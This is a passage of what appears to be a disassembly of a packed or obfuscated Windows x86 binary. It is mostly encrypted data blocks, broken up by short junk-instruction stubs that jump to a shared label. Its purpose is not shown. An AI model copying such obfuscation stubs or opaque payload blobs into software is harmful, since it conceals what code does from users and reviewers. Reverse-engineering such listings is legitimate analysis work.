		dd 0BA036B70h, 4682AE65h, 0CB1F68E7h, 0BCA29CA2h, 2E11EB02h
		dd 25DDC476h, 0C1232920h, 0D4D9A7E3h, 361BF553h, 5EF4787Eh
		dd 1000001h, 9E0AE4D5h,	80C4999h, 58ED4FC3h, 83A5ABA1h
		dd 0DE109AC6h, 3A79103Ah, 0A8AC56E9h, 0DCC16741h, 1F737924h
		dd 0F81B32F1h, 2E5A7BDEh, 2000558h, 1148621Ch, 8CE6E2E5h
		dd 0E294B705h, 433D43FBh, 608CA35Dh, 35D6D0B8h,	14874FDDh
		dd 0F9D40408h, 2004D53h, 0BC745B1Ch, 2A0EC0B7h,	58C0C570h
		dd 0AA624B25h, 33A8AEA5h, 0ECA68CDEh, 92B6F4D2h, 2EE153D4h
		dd 2B000000h, 0D8EF4ED1h, 455E1CB5h, 0F6F6A256h, 3122D033h
		dd 0BE050AB5h, 0A9BAD6F3h, 0C06CC182h, 9ABDD451h, 0D6459437h
		dd 50526CBFh, 0B9h, 0E94FD1E6h,	0A7614302h, 5500F7FCh
		dd 0A47F1B3Eh, 0A6F92E5Ah, 17D1B58Fh, 0C8151B12h, 132AE4CAh
		dd 0E7995339h, 0E0424800h, 576E280Eh, 0D6DC947Dh, 694C2689h
		dd 0AFB5ACB1h, 0DA9D606Ch, 0BD12C721h, 3B72856Bh, 0E4DF055Fh
		dd 6F9BB560h, 2C6B82A1h, 0DA73A809h, 757BCE21h,	802CF316h
		dd 0D72A267Dh, 34EED4D2h, 0F6BBDE1Dh, 8029B37Fh, 0E4DA272Dh
		dd 4B0AF3CDh, 0FE03AE66h, 8039789Bh, 0F24529B3h, 77CC4147h
		dd 0C3A781C0h, 120D0409h, 29B37F9Fh, 0B69784AAh, 7A51DC4Eh
		dd 0D5803A20h, 96957BCFh, 88C35C7Fh, 79532E56h,	72D5DA92h
		dd 0DA78624Fh, 1EC91C21h, 8CA6F918h, 0F04FD192h, 0AD69B6D9h
		dd 9EF12E5Dh, 0FBB59B99h, 6F290FE1h, 28FC236Ah,	0F52A213Fh
		dd 0AE684E98h, 22DCC294h, 0FCE0BA1Dh, 8FEB3D6h,	2578223Fh
		dd 787E757Ah, 0D8DD957Eh, 0E58B5E2h, 82546E28h,	0AFDDE29Ch
		dd 19h,	394C2E08h, 5390FFBEh, 151BC617h, 4F2924F3h, 0CC6A869h
		dd 5F651007h, 89432B3Dh, 0E6A08684h, 4800E3E1h,	0A7614543h
		dd 8C2A4A2h, 69230503h,	0C57D6664h, 25DDC2C0h, 833B2220h
		dd 89516D7Eh, 4C181E1h,	53000000h, 4BBh, 5BD92900h, 5C240C87h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		push	eax
		mov	eax, 21EF53ECh
		xchg	eax, ecx
		inc	ecx
		xchg	eax, ecx
		add	eax, 0E5F7B8D6h
		mov	edi, eax
		pop	eax
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 8
		sub	ebx, 77BA17D4h
		add	ebx, ecx
		add	ebx, 77BA17D4h
		mov	[ebx], edi
		pop	ebx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_554887
; ---------------------------------------------------------------------------
		dw 8E3Dh
		dd 0B8D82A26h, 7E7118Ah, 0E0FFC503h, 55CFA37Ch,	6104311Ch
		dd 633DB6BBh, 7E2CD45Eh, 12BEF467h, 1CFA1618h, 16020B8Ah
		dd 190AB225h, 1F085AD2h, 1C534B24h, 16F33712h, 15E9h, 26EF1100h
		dd 23h,	3 dup(0)
		dd 22E90000h, 9E000005h, 10E2FCB6h, 85577129h, 0FCCEE8A0h
		dd 6F415B13h, 64B9D38Dh, 2AE4C67Bh, 0A05A3E10h,	19D1B486h
		dd 8D472DFFh, 85A89373h, 21D38F2Ch, 0CA09E052h,	0D38F0AA7h
		dd 351A7421h, 0D681787Dh, 452BAED0h, 0A688868Bh, 1A00D2ECh
		dd 775D5B60h, 4467A6BDh, 29BAA16Dh, 63B0B609h, 0C1C67E65h
		dd 72C4194Eh, 0E1BBD28Ch, 453C41FBh, 280BDD3Fh,	0AF2A9717h
		dd 0BBA2F2E6h, 5C07FE03h, 0E2C597B1h, 8128EAD1h, 0BA71535Eh
		dd 0D4D82B29h, 17C20DC7h, 8A442600h, 0FAD43784h, 635A5F17h
		dd 6C7F635Dh, 0D9162028h, 9CA14C47h, 0D22479A6h, 934B30EFh
		dd 16FCCEE8h, 0C8F4575Ch, 0AD7D55D3h, 0A5E8EEACh, 29B9AE09h
		dd 3997EC1Dh, 5434190Dh, 0A52F1F4Bh, 0FE93E957h, 5B74F8h
		dd 2BBE0000h, 23868B45h, 0C47754F7h, 262024DEh,	60A3A96Ah
		dd 29B9E64Fh, 0F14FA4D5h, 543451B5h, 1DEh, 442B2800h, 0A289878Ch
		dd 0FEE7E5EAh, 99CE4146h, 0FA0BF244h, 1211D23Fh, 4B6E85F7h
		dd 29BA3466h, 0F812BD10h, 6F864026h, 9F7FAF43h,	650284D4h
		dd 0AE9CA078h, 0B11319A9h, 8F492BB7h, 0EDA58C8Ah, 601AFCD6h
		dd 115E645Bh, 0B90360A9h, 772F16D7h, 0FAE0B2CCh, 0FED83B40h
		dd 655C6119h, 0C880655Fh, 624F72B1h, 0EF29BAA1h, 0E0258009h
		dd 398C637Bh, 298AE633h, 285876D4h, 52735434h, 0BD000000h
		dd 8A8F492Bh, 0EAEFA78Ch, 36ED4277h, 7C38720Ah,	5B611ED6h
		dd 0ABC57F61h, 383DF7D9h, 9499513Ah, 247AD738h,	54340BF6h
		dd 5021h, 492B6B00h, 0A98C8A8Fh, 5BAECF1h, 697C5EA8h, 856B7211h
		dd 0CBCFC6CBh, 7E828615h, 82E938FFh, 405A0520h,	8C442B46h
		dd 0A16E4087h, 85B629BAh, 0EA94D228h, 16BF5434h, 0CC000000h
		dd 862B4E8Dh, 0F029BA94h, 950FA29Dh, 0D6729BAh,	0C0C6712Bh
		dd 8E462B9Eh, 0EBA58B89h, 6EC3F0E6h, 0F013371Ch, 29BAA0C1h
		dd 0A5BF6ABDh, 0A50C2F6Eh, 0D129BAA0h, 0FC24787Eh, 0BDE9283Fh
		dd 0CA50BFE6h, 1AFA64FBh, 333BF9FDh, 3733767Ch,	712E5A5Eh
		dd 0F5FAB297h, 86D9F8FEh, 0E39D8381h, 5711F7C9h, 60A40B52h
		dd 0EC321DAh, 0C78167B1h, 38F2D6B0h, 2253C33h, 21DA60AFh
		dd 0C6E74C7h, 5C14FBD5h, 605A6057h, 9431677Ah, 0FED7FD5Dh
		dd 6A504E53h, 0C8ADABB0h, 2B0D0B10h, 7F406C71h,	90C3DF22h
		dd 161BD3B6h, 4FA4191Fh, 435D17FDh, 0D4E33965h,	1315253h
		dd 855F0000h, 0BFE1E7A1h, 0D9F04FD1h, 735A1BFFh, 14BFB6BBh
		dd 4470AF0Eh, 59345E0Ah, 9A523953h, 30A6E9EFh, 862E59BEh
		dd 0DF91492Ch, 443B40F8h, 0B0969499h, 4B5008EFh, 588FA954h
		dd 0D9DE987Eh, 0FCE2DCE2h, 593F3D42h, 0E9329A9Fh, 0A25C4294h
		dd 57CAA88h, 609753D4h,	0A4000000h, 292EE8CAh, 0B9F81B32h
		dd 0C521D9A5h, 0D14A6C72h, 99D8EF4Eh, 0BAA13B76h, 0EAF04329h
		dd 5E69688Bh, 82D55645h, 0F2AA916Bh, 59589FECh,	1CA9BAA2h
		dd 0A20F3271h, 0DCA9BAA1h, 0B10E8389h, 8D452802h, 378B9188h
		dd 13364DE8h, 0D6455EBEh, 793A1EF8h, 2E33DE96h,	0BF123137h
		dd 79A3A5h, 0D1390000h,	0B6D9F04Fh, 2E5AA4E4h, 9F02075Ah
		dd 97BADEC5h, 21DA9D1Ah, 61661164h, 0C625A411h,	0CF7AFD27h
		dd 2FE9CFC9h, 0A35D4315h, 1B75579Eh, 27DC21DAh,	0E09A80CAh
		dd 41638FC6h, 5F35FDFEh, 0F41C7076h, 8D924C30h,	95D4EB96h
		dd 8A0BA069h, 465D9CFAh, 0D9BB8E23h, 8F95E821h,	7CCE1A4Ch
		dd 1E025C26h, 0B6B4B964h, 1B1116D0h, 23ED91EEh,	9CCAED04h
		dd 0DA2E55BBh, 0D1736D87h, 9AD9F04Fh, 0E098815Bh, 0C8E9E4DBh
		dd 0AE29BAA0h, 9B46E54h, 0B2A6C003h, 0C6A02E5Dh, 22127DFh
		dd 0AEE8E56h, 0C686C26h, 1C53A78h, 137C8C77h, 7AA6BD68h
		dd 5EBDEB93h, 0E5B618Fh, 56702A10h, 0DFE49E84h,	93854C98h
		dd 0B00D4205h, 0ACC68066h, 4D33F4DAh, 0F7D1E893h, 5D545913h
		dd 0CDA70A57h, 2E282EE6h, 9C768D45h, 2F9FEB8h, 8CB9AFFCh
		dd 0FA548037h, 0B8CE84D2h, 36965559h, 1F9868B0h, 13391F19h
		dd 9491C1F0h, 4600E206h, 20734A41h, 0A3895B75h,	3C41F9E2h
		dd 67959A45h, 3, 2B6624FDh, 86848943h, 0E3E1E6A0h, 45434800h
		dd 0A4A2A761h, 50308C2h, 66646923h, 0C2C0C57Dh,	222025DDh
		dd 6D7E833Bh, 81E68956h, 4C6h, 4EE8300h, 31243433h, 34332434h
		dd 6B685C24h, 89000033h, 2568243Ch, 8900001Bh, 7368242Ch
		dd 8B07E712h, 0C481243Ch, 4, 56468h, 24248900h,	4240481h
		dd 5D000000h, 287C68h, 243C8900h, 9243481h, 8F5AB55Dh
		dd 75810845h, 0B55D0908h, 242C8B5Ah, 81E28952h,	4C2h, 4C28100h
		dd 87000000h, 8B5C2414h
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_554887
; ---------------------------------------------------------------------------
		db 89h
		dd 566FA763h, 1704B8AEh, 0C50307E7h, 0ABABE0FFh, 0ADF77D03h
		dd 0B80627FBh, 2EA5695Fh, 808844BAh, 548546D4h,	65CD1487h
		dd 4844FF4h, 27622C16h,	475843FCh, 8D8D764Fh, 7E718A0h
		dd 304DB529h, 8D8907E0h, 7E01815h, 2631958Bh, 85C707E0h
		dd 7E02049h, 6B84h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0A7C35747h, 587E1EB9h, 25953102h, 0C707E033h
		dd 0E022C585h, 7, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 95FBFA2Bh, 52C38BD4h
		dd 0ADB5FFF4h, 6A07E012h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 9679C356h, 5DC0E7AFh
		dd 0B5896DA6h, 7E02191h, 209195FFh, 6A07E0h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 68AF91C3h
		dd 89AF0083h, 0E026B18Dh, 0FF006A07h, 0E018A995h, 0EBC08B07h
		dd 13E8A61Ch, 8F1AF1F5h, 0FB8506D7h, 0B5BB096Eh, 99FF4FC1h
		dd 0D2D984F2h, 0B4E723F0h, 588D8D6Eh, 8907E719h, 0E0169DBDh
		dd 158D8907h, 6A07E018h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 1E1BC352h, 0A9B58B28h
		dd 0E907E026h, 0Ah, 0B0D197BFh,	16921481h, 85C7B1CCh, 7E02049h
		dd 598Ch, 10E9h, 0AA4FC600h, 0EC51BDF6h, 2BAFAAEEh, 0CB71D67Bh
		dd 0C585C7D7h, 7E022h, 81000000h, 508440D8h, 49B5FF3Eh
		dd 8907E01Eh, 0E012A595h, 9195FF07h, 0E907E020h, 5, 492BD531h
		dd 0FF006A17h, 0E018A995h, 0EBC08B07h, 0EA0CE0Dh, 2B5612FDh
		dd 0D0B60C90h, 5FE92E48h, 52000001h, 0E860D48Bh, 0
		dd 78ED815Dh, 8B07E719h, 453D0842h, 0F782638h, 13885h
		dd 0C428B00h, 0D3184A8Bh, 88A8BBC8h, 0C3331A1Eh, 8904E883h
		dd 0E0181585h, 4588B07h, 428BF88Bh, 184A8B10h, 0B3BEC8D3h
		dd 33BA6EF0h, 83C72BC6h, 0E883FCE0h, 49858904h,	8B07E020h
		dd 85891442h, 7E022C5h,	5318428Bh, 0B0E9h, 0D5B5FF00h
		dd 0E907E006h, 0B9h, 0F59B5FFh,	0AEE907E0h, 0FF000000h
		dd 0E01B41B5h, 0A3E907h, 0B5FF0000h, 7E01BF5h, 98E9h, 0DDB5FF00h
		dd 0E907E020h, 8Dh, 85DB5FFh, 82E907E0h, 0FF000000h, 0E004A9B5h
		dd 77E907h, 0B5FF0000h,	7E02A35h, 6CE9h, 0ADB5FF00h, 0E907E012h
		dd 61h,	2A5DB5FFh, 56E907E0h, 0FF000000h, 0E007A1B5h, 4BE907h
		dd 0B5FF0000h, 7E023C5h, 40E9h,	61B5FF00h, 0E907E012h
		dd 35h,	1E49B5FFh, 2AE907E0h, 0FF000000h, 0E022E5B5h, 1FE907h
		dd 0B5FF0000h, 7E007B9h, 14E9h,	0B8D88B00h, 0Bh, 8DE3F766h
		dd 0E719D98Dh, 0FFC80307h, 9195FFE1h, 5B07E020h, 1815858Bh
		dd 583907E0h, 0F850F04h, 53000000h, 95FF016Ah, 7E018A9h
		dd 0FFE2E95Bh, 5A61FFFFh, 0B85A61C3h, 77D4C96Ah, 858BE0FFh
		dd 7E01881h, 1AC78D8Dh,	418907E7h, 0E9C38B01h, 0BAh, 7FC8DBD3h
		dd 0CA459CD7h, 0B6E1C8C3h, 0A7ACABDAh, 4592B395h, 0B395A1F4h
		dd 0ECABDA00h, 915D20A7h, 0B1F46BB2h, 20752096h, 6BB79B55h
		dd 92A5BCF2h, 7594A196h, 0B799603Ah, 99BD329Fh,	9CB2E9B5h
		dd 0A3F292A5h, 0EF7695ACh, 4E0097B1h, 9FA5B4F9h, 7B6B5C00h
		dd 8A924AF0h, 0F352D000h, 0F653F545h, 0D6D979A3h, 0E3AFF144h
		dd 7D41F445h, 92B000D7h, 756BBF97h, 0BFCF60FDh,	93BCF996h
		dd 207D20B2h, 0ABF79B57h, 9EBD9492h, 9DBCE3B2h,	899BE0CEh
		dd 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh, 0D00097B3h
		dd 0CD43F1B6h, 0F0A8h, 47000000h, 0E3129D74h, 5E99E0h
		dd 0CDE90000h, 68000014h, 7E71DA2h, 0F9652EE9h,	1EA168FFh
		dd 24E907E7h, 68FFF965h, 7E71F80h, 0F9651AE9h, 20B768FFh
		dd 10E907E7h, 68FFF965h, 7E72129h, 0F96506E9h, 21D068FFh
		dd 0FCE907E7h, 68FFF964h, 7E7228Fh, 0F964F2E9h,	233F68FFh
		dd 0E8E907E7h, 68FFF964h, 7E723E1h, 0F964DEE9h,	256868FFh
		dd 0D4E907E7h, 68FFF964h, 7E72650h, 0F964CAE9h,	27A768FFh
		dd 0C0E907E7h, 68FFF964h, 7E7288Eh, 0F964B6E9h,	29D168FFh
		dd 0ACE907E7h, 68FFF964h, 7E72B27h, 0F964A2E9h,	2D2068FFh
		dd 98E907E7h, 68FFF964h, 7E72E0Ah, 0F9648EE9h, 0D69078FFh
		dd 4B03EABCh, 0C27A5F31h, 35EDD6A8h, 0AD67491Bh, 0A0953E93h
		dd 18EA04BEh, 8E607A34h, 7D9F3ABh, 6D4D6721h, 85525F82h
		dd 0BA2C21D3h, 6487C620h, 29BAA14Dh, 2FE9CF29h,	674A6D84h
		dd 0F29BAA1h, 0D6BCB6BCh, 2CD9051Ch, 7BE53E29h,	436E91A8h
		dd 3B29B9E5h, 9795E2E8h, 0B1DDF7B1h, 998E776Fh,	309479B8h
		dd 0B34B6E85h, 0C52E59DCh, 87266D72h, 0B621D9D3h, 64A2F855h
		dd 8F53D42Bh, 4Dh, 773A5D9Ch, 2421D9CBh, 5BAE853Dh, 0ECC63355h
		dd 4F464B03h, 0C2BF549h, 0A020D2F5h, 97562E5Ah,	0DAA03D74h
		dd 0FADF3921h, 9B463D42h, 484D07E9h, 3EA1A651h,	0C1C68064h
		dd 2C81C4CAh, 1121DAA0h, 0C1FD53B0h, 0EA53D4EBh, 0C9h
		dd 8B452B34h, 0ECA68886h, 7A5884E7h, 0B98F14FEh, 341A141Ah
		dd 3812757Ah, 9D979D55h, 0C8E3FDB7h, 29BA250Fh,	0D5ECA68Ch
		dd 0E52255A9h, 979DBB0Ah, 0C37D6335h, 9B815BBEh, 0DFE5DCE1h
		dd 614D858Bh, 0D2A119FEh, 21607722h, 0A7AC6447h, 0BFF3ACB0h
		dd 0BC31CB3Dh, 34F73B6h, 76C92E5Ah, 43E0305Ch, 0E7CAED2Ch
		dd 8F21DA42h, 0B4D7363Ch, 2677BE9Bh, 0D7B1C81Bh, 4F213BF5h
		dd 0FDAB36Dh, 20E6128Ah, 12330937h, 0E5CD0000h,	583F112Bh
		dd 0CFB486A0h, 422BFD17h, 0BC9E708Ah, 2A93E802h, 3F5913F5h
		dd 0B5CF896Dh, 2E4800E3h, 0A2BC765Ch, 0FDB4D7C2h, 7921D383h
		dd 492B6D07h, 1639788Fh, 29BAA09Bh, 288A90E3h, 9CB67056h
		dd 0E94FD1A2h, 0E1444903h, 0BAA0F3BEh, 8D388B29h, 0EF1CBE2h
		dd 0A85A5156h, 0B0207BFh, 6F83A605h, 892E5AA0h,	0A2CE3136h
		dd 0E40723E0h, 21DA48CDh, 9A5256A9h, 0B4F7FD14h, 21D9BCF9h
		dd 308EE344h, 53D40EF2h, 0B51Dh, 6E502A00h, 0B2B8AFB4h
		dd 84452B90h, 3338E39Bh, 94995335h, 0BAA58A4Dh,	853F2529h
		dd 0F9B3996Bh, 0B7749CF4h, 0DC774A0h, 9A9F593Bh, 30D49FA3h
		dd 1D1D575Bh, 6E3F2529h, 0DCE60968h, 622E5A4Dh,	47C9F50Fh
		dd 0B0AED1E8h, 26267804h, 0E2BCD3h, 0F6FAB7DAh,	2A8429B7h
		dd 92898E48h, 17B2E3E7h, 869803ECh, 0DEFC1DBh, 11B57A53h
		dd 0E1CAE612h, 1134B3h,	2AE4CC00h, 9F573E10h, 16CEB385h
		dd 89412AFCh, 1BB9D6Fh,	0F42992E7h, 6C3E5812h, 0E2B4CE88h
		dd 5B2D47FFh, 0C1A1BB75h, 82FEB3D6h, 67821D3h, 8F492B6Ch
		dd 0FCBDA375h, 60575C16h, 6712CCAEh, 0ECC6534Dh, 0A8624403h
		dd 0FB01F8FDh, 4A611B01h, 0F00CC61Eh, 0E0E699B3h, 0F5AF9593h
		dd 682204DEh, 4A686C63h, 0C66404E8h, 693B9DA3h,	0DBB5CC84h
		dd 0EA3A3FF9h, 779EE58Ch, 494FFA37h, 5E18FEFCh,	347EFA44h
		dd 15384FECh, 2E5A1A51h, 987F3487h, 0D6500416h,	0F3BEE120h
		dd 8B394FE3h, 32DE3238h, 0D7BBDEF5h, 213DEFF7h,	0F7F2BFE2h
		dd 398C322Fh, 0E7ECA487h, 78CBEAF0h, 36F51B73h,	34D9FC1Fh
		dd 35D36CFh, 0A3BA651Fh, 3922E3C9h, 0DA857C81h,	4E08EEC0h
		dd 79773675h, 0B8E6CFD6h, 1055h, 0EF09C3ABh, 647E361Dh
		dd 0DBF5AD92h, 4E682009h, 0C6E09A7Ch, 0F1D34871h, 674B1D37h
		dd 0DEC193ADh, 543A0C26h, 0B5A0809Ah, 0D3821F92h, 4BE55721h
		dd 9B84452Bh, 0DB3338E3h, 0BCDFF635h, 2E5A83C2h, 835EA854h
		dd 92C10F88h, 7FA1CDE7h, 0E886A9C0h, 0E267A7Ch,	4265A4BBh
		dd 29BA636Fh, 61AEB407h, 0BA62931Ah, 0F449AA29h, 0EE8F113Dh
		dd 836DABBFh, 0B7BBD36Ch, 0D5DB8CC4h, 340E93CFh, 32BC54h
		dd 0C6060000h, 0E359B99Ah, 1B2102A6h, 0C3DA59C7h, 5A7935A0h
		dd 9277512Eh, 62B5D4DAh, 0D68E714Bh, 690EA1BCh,	0AB9121DAh
		dd 2205D7F1h, 0A237656Ah, 0CD00000Fh, 0D9F04FD1h, 5DBA6AB6h
		dd 4E71B02Eh, 21D38663h, 0A3C2C81Bh, 7B5F3950h,	825CBBC1h
		dd 91C8E29Ch, 0EB0F4365h, 4C525EC5h, 12596C52h,	0C8123CC8h
		dd 8DE5EA95h, 4E8DA483h, 0F8C5EC0Fh, 5EB121D2h,	12C01558h
		dd 0E3362676h, 520CF2CCh, 0D8D9FC3Bh, 0C329B9EEh, 271E23DDh
		dd 95F7FD50h, 8DA0845Eh, 0C888857Eh, 0AEB45F0Eh, 0F14CEB4h
		dd 0B3CA69B7h, 5A2CE290h, 0F0C91C2Eh, 0EDF012B7h, 1E3D6B54h
		dd 0E200000Fh, 542640FAh, 0C99BB56Dh, 40122CE4h, 0B3859F57h
		dd 0A8FD17D1h, 6E280A3Fh, 0E49E8254h, 5D15F8CAh, 0D18B7143h
		dd 0C9ECD7B7h, 21D380E8h, 0E2821C8Eh, 29BAA0CBh, 768DAA76h
		dd 5DBB6A53h, 8299EC2Eh, 0F108C2A8h, 767C3417h,	9B5C4214h
		dd 4B50FBB5h, 0D1B52DF3h, 1EDC5928h, 0E2051CC7h, 2672B29Ch
		dd 0A55D409Ah, 94FE21FAh, 0A68FE617h, 0EAC78h, 0B26C5400h
		dd 27DFC698h, 9E563B0Dh, 11C9B284h, 894325F7h, 7CB11A6Fh
		dd 0F4C6E09Ah, 6A3C5610h, 0E3B5CF87h, 492943FDh, 7F763B5Eh
		dd 8E0021D3h, 8B452BF4h, 0E8A28886h, 0E03D6EE3h, 0B660531h
		dd 2DF4BA60h, 6AE52127h, 59335434h, 0BEB5BA72h
		dd 6B702A0Ch, 0E4EA6E74h, 34000008h, 0D9F04FD1h, 5DBB14B6h
		dd 20378A2Eh, 8CA66046h, 31AD4BAh, 8710A1C4h, 0A76621D3h
		dd 0D3872D84h, 4BF64921h, 0FCB1F845h, 4521D386h, 6455CDBh
		dd 0D386CEE3h, 4F55A821h, 69B1CDF0h, 54A72673h,	16E05E7Bh
		dd 0DC0AF3E6h, 0E05h, 3F5913FBh, 0B4CE866Dh, 2B45FDE2h
		dd 9EB87059h, 1630EACCh, 412318C1h, 0B79B6D87h,	2E11E3FDh
		dd 0A48A5C76h, 5F0D0EAh, 0D37FCFE2h, 9B35A721h,	868B452Bh
		dd 0E3E8A288h, 454A02E5h, 1C3F6547h, 29BAA095h,	0DEE38EE1h
		dd 0A159587Bh, 0D22529BAh, 0D61976ABh, 0C9277CADh, 5434E69Dh
		dd 836B6h, 9AC60000h, 0D7C08E5Ch, 7E561B1Fh, 1598DBE1h
		dd 2129B9A2h, 0A4AA6247h, 4C63C050h, 5CBA6129h,	0D9BD972Eh
		dd 1D231A1Fh, 5594ABFEh, 0D5DA927Bh, 3237F1D7h,	908A903Bh
		dd 0ADD9F0AAh, 9E9730AFh, 99FB0168h, 2227E1C7h,	0D2E946CAh
		dd 72A4CFAFh, 1DF64926h, 0E6179B06h, 4688B69Fh,	0BA00000Dh
		dd 2CFE18D2h, 0A1738D45h, 18EA04BCh, 8B5D772Fh,	80D5EFA9h
		dd 4600E257h, 0BC765A2Ch, 35EDD0A2h, 0A963491Bh, 0A1C4AF8Fh
		dd 21D37F10h, 2B5AF466h, 9A748B45h, 0FDF4F9B1h,	0C6ACAAF7h
		dd 0A1347DA0h, 8B4A29BAh, 0BAA14968h, 37E23529h, 0F712878Ch
		dd 797F391Dh, 1551AF04h, 3E5434E6h, 777h, 0F04FD188h, 3A779AD9h
		dd 1729BAA1h, 31005F6h,	0BF9659h, 0B9F9D4DDh, 0AC57AA29h
		dd 3B2447A6h, 0BB2E5D12h, 91775168h, 2C31E9D0h,	9E708A35h
		dd 0B2F9FEB8h, 21D2E4FBh, 465DDA46h, 72C75B23h,	0B18ADD26h
		dd 0E61739A0h, 9626543Dh, 6A00000Ch, 0DCAEC882h, 51233DF5h
		dd 0C89AB46Ch, 3B0D27DFh, 30859F59h, 0F6B09287h, 6C260ADCh
		dd 0E59D8052h, 5913F9CBh, 51745F3Fh, 21D37E60h,	2B0AA416h
		dd 88868B45h, 6EE3E8A2h, 0C0F11453h, 0B629BAA0h, 8BE85D63h
		dd 641E02DCh, 0E62A585Eh, 0D4455434h, 8F000006h, 0BAA0D0E2h
		dd 90AF7129h, 0BA465679h, 0E93C2E5Dh, 5112F8D2h, 0B7AEB36Dh
		dd 3A20F20Ch, 0D9DE9679h, 462037E2h, 0ABA2A75Fh, 100058A5h
		dd 676C260Ch, 8BAEC570h, 267392EFh, 0F4575D09h,	690126FFh
		dd 716AE5BEh, 927BE617h, 0BF464h, 6A240C00h, 0DF977E50h
		dd 560EF3C5h, 0C9816A3Ch, 41FBDDAFh, 34E9D227h,	0AC7E9852h
		dd 22F40EC8h, 9B6D873Fh, 1E1FBB5h, 7DBEF316h, 46B821D3h
		dd 6487C6ACh, 29BAA14Dh, 0D6D0D629h, 333136F0h,	0F0AA8C4Dh
		dd 58FD9BEBh, 0C6C8B11h, 49B1B661h, 7359A300h, 85C19FB9h
		dd 0AE5434FFh, 17Ch, 1F452BF8h,	0BAA0B5FCh, 4901E629h
		dd 1C764D44h, 2BD68139h, 88422826h, 0FBB59771h,	97F9FFF6h
		dd 6F86A56Bh, 5AA7B24Ch, 6C71C42Eh, 0DA9A8825h,	0FF54B521h
		dd 0D4E065A1h, 558E53h,	0D1D80000h, 9AD9F04Fh, 0A079385Bh
		dd 0B20529BAh, 0BAA0FAB7h, 7F318429h, 7EDDE39Dh, 5AA0975Bh
		dd 898EE12Eh, 0A96A4C26h, 0D0409C3h, 94195C62h,	0A921DA9Fh
		dd 0B5FC1F5Eh, 0C121DA9Fh, 9EF3686Eh, 3A48BBE7h, 0C38640F6h
		dd 70762E11h, 0D4953C6Ah, 0D25753h, 2BA10000h, 0E59D8445h
		dd 5537353Ah, 2245849Bh, 29BAA08Fh, 0CB13BE7h, 0C0823F9Dh
		dd 0C4C20F15h, 813B1DDEh, 4B6E857Ch, 29BA5366h,	0D12BD10h
		dd 9E16290Fh, 730AA8DAh, 0A1D8F29Dh, 252AE2C7h,	82874127h
		dd 97DAE08Bh, 29B9E630h, 0EDA58C66h, 0B7DAF1E8h, 29BA11FAh
		dd 312B3184h, 0AF02254Bh, 0C729BA11h, 27DFC274h, 69802B22h
		dd 0D8EFA98Fh, 0BA11FCB5h, 292F8229h, 0B6759BC7h, 89807C9Fh
		dd 0A3F62E57h, 16D0B28Ch, 8E482AFCh, 0F1D640B5h, 3E6C55EDh
		dd 0A6Dh, 0D7F1AB93h, 4C661E05h, 0C3DD957Ah, 365008F1h
		dd 0AEC88264h, 0D9BB7059h, 4F33051Fh, 0C6A97B95h, 3C22F40Eh
		dd 9D886882h, 0D37C377Ah, 33CD3F21h, 758F492Bh,	19FCBDA3h
		dd 0A29CB661h, 868B452Bh, 0A7664923h, 575C07C1h, 7A605A60h
		dd 0ACA4A6C0h, 3A000004h, 0D9F04FD1h, 5A92B4B6h, 0D2D72A2Eh
		dd 0DA6F228Bh, 65BA1B21h, 0D4D8DB07h, 55ED1953h, 0FC9AF10h
		dd 0F8CA8F0Bh, 20F6EF2h, 0A17B0000h, 0A0106BEh,	0ECC6E204h
		dd 5484E08h, 29BAA0AFh,	9CB370A0h, 5DBA0979h, 0F6A3CF2Eh
		dd 7CC21856h, 0CD203F45h, 3CF6DCB6h, 2A0CE625h,	79746B70h
		dd 21D2EC38h, 4802E43Eh, 0FE35979Dh, 0BE4F8CD2h, 787E6F0Bh
		dd 0D9DE987Eh, 89A09F81h, 0A8D61E4Ah, 0C30F7C00h, 0DA007ABDh
		dd 23762672h, 177BDB4Ah, 0DD0BF4E6h, 985h, 0BFD9937Bh
		dd 344E06EDh, 0ABC57D62h, 1E38F0D9h, 96B06A4Ch,	0C1A39841h
		dd 371BED07h, 0AE91637Dh, 240ADCF6h, 8570506Ah,	0D37B4F62h
		dd 1BB52721h, 868B452Bh, 0F0C1E423h, 8629BAA0h,	0E59F8133h
		dd 0E9E3E9E0h, 0DC444903h, 33EDCFA9h, 0DCE19B81h, 156ADFE5h
		dd 485A325Eh, 5C874DE4h, 0BC765C56h, 2DE7CBA5h,	0BBE7C527h
		dd 0F9543423h, 7D833D1Fh, 130F9h, 452B4300h, 0DEE39B84h
		dd 4B253CE7h, 5CA9AF69h, 2F52785Eh, 29BAA082h, 0E6A5A9FCh
		dd 4D4A20EFh, 0C1F812BDh, 3DF20595h, 4127C56Dh,	0E08B8287h
		dd 9D9A86DAh, 0EA9B6386h, 439D2E59h, 0A79EA35Dh, 0FDB0F7FCh
		dd 4021D9E5h, 0FE2C82DFh, 1953D45Dh, 50h, 6487C663h, 29BAA14Dh
		dd 7CD0D629h, 5D809794h, 2E5AA095h, 0C53D3FEBh,	675F1C29h
		dd 3D70B7BCh, 21DA7Eh, 0B993429Fh, 11171DD7h, 53D4C9D5h
		dd 9AFEh, 0A9CC0B00h, 21DA7208h, 258CAF6Eh, 5121DA72h
		dd 193C53FEh, 21DA7198h, 63858BDEh, 868B452Bh, 0E7ECA688h
		dd 444903E9h, 8CA66046h, 0BAF24671h, 0C9836929h, 9E9D83AFh
